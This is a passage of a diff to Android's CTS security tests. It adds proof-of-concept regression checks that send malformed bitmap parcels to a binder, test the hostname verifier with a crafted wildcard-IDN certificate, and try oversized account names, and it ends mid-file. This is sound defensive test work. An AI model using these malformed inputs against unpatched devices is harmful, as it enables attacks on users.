remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to be larger than the initial size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, expectedAllocationSize * 2); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to 2 bytes; smaller than the actual size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, 2); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Keep the ashmem size accurate, but change computed allocation size to be too large + wrapper.reset() + .replace(BitmapWrapper.Field.Height, 10_000) + .replace(BitmapWrapper.Field.RowBytes, 50_000); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Keep the ashmem size accurate, but change computed allocation size to be smaller + wrapper.reset() + .replace(BitmapWrapper.Field.Height, 100); + allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + } } diff --git a/tests/tests/security/src/android/security/cts/BitmapWrapper.java b/tests/tests/security/src/android/security/cts/BitmapWrapper.java new file mode 100644 index 00000000000..dbcf4989354 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/BitmapWrapper.java @@ -0,0 +1,125 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.graphics.Bitmap; +import android.os.Parcel; +import android.os.Parcelable; +import android.util.ArrayMap; + +import androidx.annotation.NonNull; + +import org.junit.Assert; + +public class BitmapWrapper implements Parcelable { + enum Field { + DataSize, + Height, + RowBytes, + } + + private final Bitmap mBitmap; + private final ArrayMap<Field, Integer> mReplaceFields = new ArrayMap<>(); + + public BitmapWrapper(Bitmap bitmap) { + mBitmap = bitmap; + } + + private BitmapWrapper(Parcel in) { + mBitmap = Bitmap.CREATOR.createFromParcel(in); + } + + public Bitmap getBitmap() { + return mBitmap; + } + + public BitmapWrapper reset() { + mReplaceFields.clear(); + return this; + } + + public BitmapWrapper replace(Field field, int newValue) { + mReplaceFields.put(field, newValue); + return this; + } + + @Override + public int describeContents() { + return mBitmap.describeContents(); + } + + @Override + public void writeToParcel(@NonNull Parcel dest, int flags) { + final int before = dest.dataPosition(); + mBitmap.writeToParcel(dest, flags); + final int oldEnd = dest.dataPosition(); + if (!mReplaceFields.isEmpty()) { + dest.setDataPosition(before + + 4 /* immutable */ + + 4 /* colortype */ + + 4 /* alpha type */); + // Skip sizeof colorspace + int colorSpaceLen = dest.readInt(); + dest.setDataPosition(dest.dataPosition() + colorSpaceLen); + Assert.assertEquals(mBitmap.getWidth(), dest.readInt()); + Assert.assertEquals(mBitmap.getHeight(), dest.readInt()); + if (mReplaceFields.containsKey(Field.Height)) { + dest.setDataPosition(dest.dataPosition() - 4); + dest.writeInt(mReplaceFields.get(Field.Height)); + } + Assert.assertEquals(mBitmap.getRowBytes(), dest.readInt()); + if (mReplaceFields.containsKey(Field.RowBytes)) { + dest.setDataPosition(dest.dataPosition() - 4); + dest.writeInt(mReplaceFields.get(Field.RowBytes)); + } + Assert.assertEquals(mBitmap.getDensity(), dest.readInt()); + int type = dest.readInt(); + if (type == 0) { // in-place + if (mReplaceFields.containsKey(Field.DataSize)) { + int dataSize = mReplaceFields.get(Field.DataSize); + dest.writeInt(dataSize); + int newEnd = dest.dataPosition() + dataSize; + dest.setDataSize(newEnd); + dest.setDataPosition(newEnd); + } else { + int skip = dest.readInt(); + dest.setDataPosition(dest.dataPosition() + skip); + } + } else if (type == 1) { // ashmem + if (mReplaceFields.containsKey(Field.DataSize)) { + int dataSize = mReplaceFields.get(Field.DataSize); + dest.writeInt(dataSize); + } + dest.setDataPosition(oldEnd); + } else { + Assert.fail("Unknown type " + type); + } + } + } + + public static final Parcelable.Creator<BitmapWrapper> CREATOR = + new Parcelable.Creator<BitmapWrapper>() { + public BitmapWrapper createFromParcel(Parcel in) { + return new BitmapWrapper(in); + } + + public BitmapWrapper[] newArray(int size) { + return new BitmapWrapper[size]; + } + }; + +} diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java index 48107032a21..a15ab42133f 100644 --- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java +++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java @@ -20,13 +20,18 @@ import org.junit.Test; import android.content.ComponentName; import android.content.Intent; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; -public class BluetoothIntentsTest extends AndroidTestCase { +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class BluetoothIntentsTest extends StsExtraBusinessLogicTestCase { /** * b/35258579 */ @AsbSecurityTest(cveBugId = 35258579) + @Test public void testAcceptIntent() { genericIntentTest("ACCEPT"); } @@ -35,6 +40,7 @@ public class BluetoothIntentsTest extends AndroidTestCase { * b/35258579 */ @AsbSecurityTest(cveBugId = 35258579) + @Test public void testDeclineIntent() { genericIntentTest("DECLINE"); } @@ -47,7 +53,7 @@ public class BluetoothIntentsTest extends AndroidTestCase { new ComponentName("com.android.bluetooth", "com.android.bluetooth.opp.BluetoothOppReceiver")); should_be_protected_broadcast.setAction(prefix + action); - mContext.sendBroadcast(should_be_protected_broadcast); + getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast); } catch (SecurityException e) { return; diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java index 6625c9ebafc..f85ec3fdbb4 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java +++ b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java @@ -28,6 +28,8 @@ import android.platform.test.annotations.AsbSecurityTest; import androidx.test.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + import org.junit.Test; import org.junit.runner.RunWith; @@ -35,7 +37,7 @@ import static org.junit.Assert.*; import static org.junit.Assume.*; @RunWith(AndroidJUnit4.class) -public class CVE_2020_0294 { +public class CVE_2020_0294 extends StsExtraBusinessLogicTestCase { private static final String TAG = "CVE_2020_0294"; /** diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java index deb7c409152..14cb7cea700 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java @@ -31,11 +31,13 @@ import android.platform.test.annotations.AsbSecurityTest; import androidx.test.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(AndroidJUnit4.class) -public class CVE_2021_0309 { +public class CVE_2021_0309 extends StsExtraBusinessLogicTestCase { private final Context mContext = InstrumentationRegistry.getContext(); boolean isVulnerable = true; diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java index 13076ba9567..44bbc01fdce 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java @@ -24,13 +24,14 @@ import android.test.AndroidTestCase; import android.util.Log; import androidx.test.runner.AndroidJUnit4; import androidx.test.InstrumentationRegistry; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import org.junit.Test; import org.junit.runner.RunWith; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; @RunWith(AndroidJUnit4.class) -public class CVE_2021_0327 { +public class CVE_2021_0327 extends StsExtraBusinessLogicTestCase { private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts"; private static final String TAG = "CVE_2021_0327"; diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java index 5335a4234fa..98b8de8d637 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java @@ -31,6 +31,9 @@ import android.test.AndroidTestCase; import android.util.Log; import androidx.test.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + import org.junit.Test; import org.junit.runner.RunWith; @@ -38,7 +41,7 @@ import java.util.concurrent.CompletableFuture; import java.util.concurrent.TimeUnit; @RunWith(AndroidJUnit4.class) -public class CVE_2021_0339 { +public class CVE_2021_0339 extends StsExtraBusinessLogicTestCase { static final String TAG = CVE_2021_0339.class.getSimpleName(); private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts"; diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0341.java b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java new file mode 100644 index 00000000000..130dce5435b --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java @@ -0,0 +1,221 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assume.assumeFalse; +import static org.junit.Assume.assumeNotNull; + +import android.platform.test.annotations.AsbSecurityTest; + +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.ByteArrayInputStream; +import java.io.InputStream; +import java.security.Principal; +import java.security.cert.Certificate; +import java.security.cert.CertificateEncodingException; +import java.security.cert.CertificateFactory; +import java.util.Enumeration; +import java.util.Hashtable; +import java.util.Vector; + +import javax.net.ssl.HostnameVerifier; +import javax.net.ssl.HttpsURLConnection; +import javax.net.ssl.SSLPeerUnverifiedException; +import javax.net.ssl.SSLSession; +import javax.net.ssl.SSLSessionBindingEvent; +import javax.net.ssl.SSLSessionBindingListener; +import javax.net.ssl.SSLSessionContext; +import javax.security.cert.CertificateException; + +// Taken reference from +// libcore/support/src/test/java/org/apache/harmony/xnet/tests/support/mySSLSession.java +class CVE_2021_0341_SSLSession implements SSLSession { + + private byte[] idData; + private String nameHost = null; + private int namePort = -1; + private Hashtable table; + private boolean invalidateDone = false; + private Certificate[] certs = null; + private javax.security.cert.X509Certificate[] xCerts = null; + + public CVE_2021_0341_SSLSession(Certificate[] xc) + throws CertificateEncodingException, CertificateException { + certs = xc; + xCerts = new javax.security.cert.X509Certificate[xc.length]; + int i = 0; + for (Certificate cert : xc) { + xCerts[i++] = javax.security.cert.X509Certificate.getInstance(cert.getEncoded()); + } + } + + public int getApplicationBufferSize() { + return 1234567; + } + + public String getCipherSuite() { + return "SuiteName"; + } + + public long getCreationTime() { + return 1000L; + } + + public byte[] getId() { + return idData; + } + + public long getLastAccessedTime() { + return 2000L; + } + + public Certificate[] getLocalCertificates() { + return null; + } + + public Principal getLocalPrincipal() { + return null; + } + + public int getPacketBufferSize() { + return 12345; + } + + public Certificate[] getPeerCertificates() throws SSLPeerUnverifiedException { + assumeFalse("peer not authenticated", (certs == null)); + return certs; + } + + public javax.security.cert.X509Certificate[] getPeerCertificateChain() + throws SSLPeerUnverifiedException { + assumeFalse("peer not authenticated", (xCerts == null)); + return xCerts; + } + + public String getPeerHost() { + return nameHost; + } + + public int getPeerPort() { + return namePort; + } + + public Principal getPeerPrincipal() throws SSLPeerUnverifiedException { + return null; + } + + public String getProtocol() { + return "ProtocolName"; + } + + public SSLSessionContext getSessionContext() { + return null; + } + + public void putValue(String s, Object obj) { + assumeFalse("arguments can not be null", (s == null || obj == null)); + Object obj1 = table.put(s, obj); + if (obj1 instanceof SSLSessionBindingListener) { + SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s); + ((SSLSessionBindingListener) obj1).valueUnbound(sslsessionbindingevent); + } + if (obj instanceof SSLSessionBindingListener) { + SSLSessionBindingEvent sslsessionbindingevent1 = new SSLSessionBindingEvent(this, s); + ((SSLSessionBindingListener) obj).valueBound(sslsessionbindingevent1); + } + } + + public void removeValue(String s) { + assumeFalse("argument can not be null", (s == null)); + Object obj = table.remove(s); + if (obj instanceof SSLSessionBindingListener) { + SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s); + ((SSLSessionBindingListener) obj).valueUnbound(sslsessionbindingevent); + } + } + + public Object getValue(String s) { + assumeFalse("argument can not be null", (s == null)); + return table.get(s); + } + + public String[] getValueNames() { + Vector vector = new Vector(); + Enumeration enumeration = table.keys(); + while (enumeration.hasMoreElements()) { + vector.addElement(enumeration.nextElement()); + } + String as[] = new String[vector.size()]; + vector.copyInto(as); + return as; + } + + public void invalidate() { + invalidateDone = true; + } + + public boolean isValid() { + return invalidateDone; + } +} + + +@RunWith(AndroidJUnit4.class) +public class CVE_2021_0341 { + + public final static byte[] X509_TEST_CERTIFICATE = ("-----BEGIN CERTIFICATE-----\n" + + "MIIC3DCCAcSgAwIBAgIURJspNgSx6GVbOLijqravWoGlm+0wDQYJKoZIhvcNAQEL\n" + + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExNTE1NFoXDTMxMTExNzEx\n" + + "NTE1NFowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n" + + "MIIBCgKCAQEA2PxVfeoY/uA66aVRXpuZXodTBFBGowTt/lAJxR8fVjDwRTOrRTrr\n" + + "2qdLPPK40lFQOSfHw/g6+9WjNjjSDBP+U2Agrvo8cU5R1DwJWyK2wcHOtBcL2bsj\n" + + "kRx18CZtZUu51a8KEhMCaIoHgGzwGMZkJnfmfO9ABbMfFsyn6KxFf0MXG3bRcQU7\n" + + "LyCXyQbo2Lal68QiTMXZs9rXN/a8ex+RmP9PKaXIEsIOeDrtLhzcWyNjrtTuDRoR\n" + + "K49xHOpz4EmqHLDzIKuhqyyo9tLR+okK0BRJoNxmfvRTbxNbjzpTTFgyB4KrKBCO\n" + + "VQXJROlBf7594xlCMn0QSwElVT4bMaMw/QIDAQABoywwKjAoBgNVHREEITAfggkq\n" + + "LmJhci5jb22CEiou44Kw44O844Kw44OrLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEA\n" + + "piIwY84InjX4BUmAmM+D9CHD/9euucGxgdXqL6kKG1HRL6lHfwZAIxhlbn3jWFEx\n" + + "k5DTkaL039FGLvYzMI0McwTIuHY/7JwCbZUJ3pVl0waW4sab+2LScnpe9c422Tqb\n" + + "hECEhc71E/kRlG9FjQN3wjEj3RcnWZAWCqAnJN/dcd/1tBD88tzHVckDC9mSvxzP\n" + + "hkmIRRifIDxcrmx7PkpJ6dAfiw9e1Pl5THdsPTDtiGJ4hjlsAi8ury3rrx31lsyo\n" + + "kAwQy23Q7Rcbr2z8bijDuSWWWc9RRsz+O/ePy35NJci/RUwVFTpvOFtahC30Jdv3\n" + + "vpmqxLqEF7Z9I1yb3Q6YUg==\n" + "-----END CERTIFICATE-----\n").getBytes(); + + /** + * b/171980069 + */ + @AsbSecurityTest(cveBugId = 171980069) + @Test + public void testPocCVE_2021_0341() throws Exception { + CertificateFactory cf = CertificateFactory.getInstance("X.509"); + assumeNotNull(cf); + HostnameVerifier verifier = HttpsURLConnection.getDefaultHostnameVerifier(); + assumeNotNull(verifier); + InputStream in = new ByteArrayInputStream(X509_TEST_CERTIFICATE); + java.security.cert.X509Certificate x509 = + (java.security.cert.X509Certificate) cf.generateCertificate(in); + assumeNotNull(x509); + CVE_2021_0341_SSLSession session = + new CVE_2021_0341_SSLSession(new java.security.cert.X509Certificate[] {x509}); + assertFalse(verifier.verify("\u82b1\u5b50.bar.com", session)); + } +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java index b39bc711ecd..d43714208b9 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java @@ -18,13 +18,14 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import dalvik.system.VMRuntime; import org.junit.runner.RunWith; import org.junit.Test; import static org.junit.Assert.assertFalse; @RunWith(AndroidJUnit4.class) -public class CVE_2021_0394 { +public class CVE_2021_0394 extends StsExtraBusinessLogicTestCase { static { System.loadLibrary("ctssecurity_jni"); } diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java index 8a883ff7fdc..d4b0179d363 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java @@ -22,6 +22,7 @@ import android.platform.test.annotations.AsbSecurityTest; import android.platform.test.annotations.SecurityTest; import android.util.Log; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.lang.reflect.Field; import java.util.Collections; import java.util.List; @@ -34,7 +35,7 @@ import static org.junit.Assert.assertThat; import static org.junit.Assume.assumeThat; @RunWith(AndroidJUnit4.class) -public class CVE_2021_0521 { +public class CVE_2021_0521 extends StsExtraBusinessLogicTestCase { private String TAG = "CVE_2021_0521"; diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java index 855ad37788b..b79070fdbec 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java @@ -26,13 +26,14 @@ import android.platform.test.annotations.AsbSecurityTest; import androidx.test.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(AndroidJUnit4.class) -public class CVE_2021_0922 { +public class CVE_2021_0922 extends StsExtraBusinessLogicTestCase { private Instrumentation mInstrumentation; diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0934.java b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java new file mode 100644 index 00000000000..0f44d8cc226 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java @@ -0,0 +1,59 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.fail; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeNotNull; + +import android.accounts.Account; +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class CVE_2021_0934 extends StsExtraBusinessLogicTestCase { + + @AppModeFull + @AsbSecurityTest(cveBugId = 169762606) + @Test + public void testPocCVE_2021_0934() { + try { + // Creating an account with arguments 'name' and 'type' whose + // lengths are greater than 200 + String name = new String(new char[300]).replace("\0", "n"); + String type = new String(new char[300]).replace("\0", "t"); + Account acc = new Account(name, type); + assumeNotNull(acc); + + // Shouldn't have reached here, unless fix is not present + fail("Vulnerable to b/169762606, allowing account name/type " + + "with character count 300 whereas limit is 200"); + } catch (Exception e) { + if (e instanceof IllegalArgumentException) { + // This is expected with fix + return; + } + assumeNoException(e); + } + } +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_39663.java b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java new file mode 100644 index 00000000000..0add1bd4007 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java @@ -0,0 +1,72 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static android.system.OsConstants.F_GETFL; +import static android.system.OsConstants.O_NOFOLLOW; +import static org.junit.Assert.assertEquals; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeNotNull; +import static org.junit.Assume.assumeTrue; + +import android.content.ContentResolver; +import android.content.ContentValues; +import android.content.Context; +import android.net.Uri; +import android.os.ParcelFileDescriptor; +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; +import android.provider.MediaStore; +import android.system.ErrnoException; +import android.system.Os; + +import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.FileDescriptor; +import java.io.IOException; + +@AppModeFull +@RunWith(AndroidJUnit4.class) +public class CVE_2021_39663 extends StsExtraBusinessLogicTestCase { + + @Test + @AsbSecurityTest(cveBugId = 200682135) + public void testPocCVE_2021_39663() { + Context context = InstrumentationRegistry.getInstrumentation().getContext(); + ContentResolver contentResolver = context.getContentResolver(); + try { + Uri uri = contentResolver.insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI, + new ContentValues()); + ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "rw"); + assumeNotNull(pfd); + FileDescriptor fd = pfd.getFileDescriptor(); + int flags = Os.fcntlInt(fd, F_GETFL, 0); + pfd.close(); + contentResolver.delete(uri, null, null); + assumeTrue("Unable to read file status flags", flags > 0); + assertEquals("Vulnerable to b/200682135!! O_NOFOLLOW flag not used.", O_NOFOLLOW, + flags & O_NOFOLLOW); + } catch (ErrnoException | IOException e) { + assumeNoException(e); + } + } +} diff --git a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java index 3022b6cec8e..23860530619 100644 --- a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java +++ b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java @@ -18,7 +18,7 @@ package android.security.cts; import android.content.Context; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.InputStream; import java.security.KeyStore; import java.security.cert.Certificate; @@ -32,7 +32,13 @@ import javax.net.ssl.TrustManager; import javax.net.ssl.TrustManagerFactory; import javax.net.ssl.X509TrustManager; -public class ConscryptIntermediateVerificationTest extends AndroidTestCase { +import static org.junit.Assert.*; +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class ConscryptIntermediateVerificationTest extends StsExtraBusinessLogicTestCase { private X509Certificate[] loadCertificates(int resource) throws Exception { CertificateFactory certFactory = CertificateFactory.getInstance("X.509"); @@ -76,6 +82,7 @@ public class ConscryptIntermediateVerificationTest extends AndroidTestCase { } @AsbSecurityTest(cveBugId = 26232830) + @Test public void testIntermediateVerification() throws Exception { X509TrustManager tm = getTrustManager(); X509Certificate[] validChain = loadCertificates(R.raw.intermediate_test_valid); diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java index 26ab802b0e9..16c8905afe9 100644 --- a/tests/tests/security/src/android/security/cts/DecodeTest.java +++ b/tests/tests/security/src/android/security/cts/DecodeTest.java @@ -19,13 +19,20 @@ package android.security.cts; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.InputStream; import android.security.cts.R; -public class DecodeTest extends AndroidTestCase { +import static org.junit.Assert.*; + +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class DecodeTest extends StsExtraBusinessLogicTestCase { /** * Verifies that the device fails to decode a large, corrupt BMP. * @@ -33,8 +40,9 @@ public class DecodeTest extends AndroidTestCase { * decode. */ @AsbSecurityTest(cveBugId = 34778578) + @Test public void test_android_bug_34778578() { - InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578); + InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_34778578); Bitmap bitmap = BitmapFactory.decodeStream(exploitImage); assertNull(bitmap); } @@ -46,8 +54,9 @@ public class DecodeTest extends AndroidTestCase { * decode. */ @AsbSecurityTest(cveBugId = 67381469) + @Test public void test_android_bug_67381469() { - InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469); + InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_67381469); Bitmap bitmap = BitmapFactory.decodeStream(exploitImage); assertNull(bitmap); } diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java index 5aef70233f0..ab98f998252 100644 --- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java +++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java @@ -22,7 +22,7 @@ import android.media.audiofx.Equalizer; import android.media.audiofx.PresetReverb; import android.media.MediaPlayer; import android.platform.test.annotations.AsbSecurityTest; -import android.test.InstrumentationTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import android.util.Log; import java.nio.ByteBuffer; @@ -31,7 +31,14 @@ import java.nio.charset.StandardCharsets; import java.util.Arrays; import java.util.UUID; -public class EffectBundleTest extends InstrumentationTestCase { +import static org.junit.Assert.*; + +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class EffectBundleTest extends StsExtraBusinessLogicTestCase { private static final String TAG = "EffectBundleTest"; private static final int[] INVALID_BAND_ARRAY = {Integer.MIN_VALUE, -10000, -100, -2, -1}; private static final int mValue0 = 9999; //unlikely values. Should not change @@ -48,6 +55,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32436341 @AsbSecurityTest(cveBugId = 32436341) + @Test public void testEqualizer_getParamCenterFreq() throws Exception { if (!hasEqualizer()) { return; @@ -58,6 +66,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32588352 @AsbSecurityTest(cveBugId = 32588352) + @Test public void testEqualizer_getParamCenterFreq_long() throws Exception { if (!hasEqualizer()) { return; @@ -67,6 +76,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32438598 @AsbSecurityTest(cveBugId = 32438598) + @Test public void testEqualizer_getParamBandLevel() throws Exception { if (!hasEqualizer()) { return; @@ -76,6 +86,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32584034 @AsbSecurityTest(cveBugId = 32584034) + @Test public void testEqualizer_getParamBandLevel_long() throws Exception { if (!hasEqualizer()) { return; @@ -85,6 +96,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32247948 @AsbSecurityTest(cveBugId = 32247948) + @Test public void testEqualizer_getParamFreqRange() throws Exception { if (!hasEqualizer()) { return; @@ -95,6 +107,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32588756 @AsbSecurityTest(cveBugId = 32588756) + @Test public void testEqualizer_getParamFreqRange_long() throws Exception { if (!hasEqualizer()) { return; @@ -105,6 +118,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32448258 @AsbSecurityTest(cveBugId = 32448258) + @Test public void testEqualizer_getParamPresetName() throws Exception { if (!hasEqualizer()) { return; @@ -114,6 +128,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32588016 @AsbSecurityTest(cveBugId = 32588016) + @Test public void testEqualizer_getParamPresetName_long() throws Exception { if (!hasEqualizer()) { return; @@ -155,6 +170,7 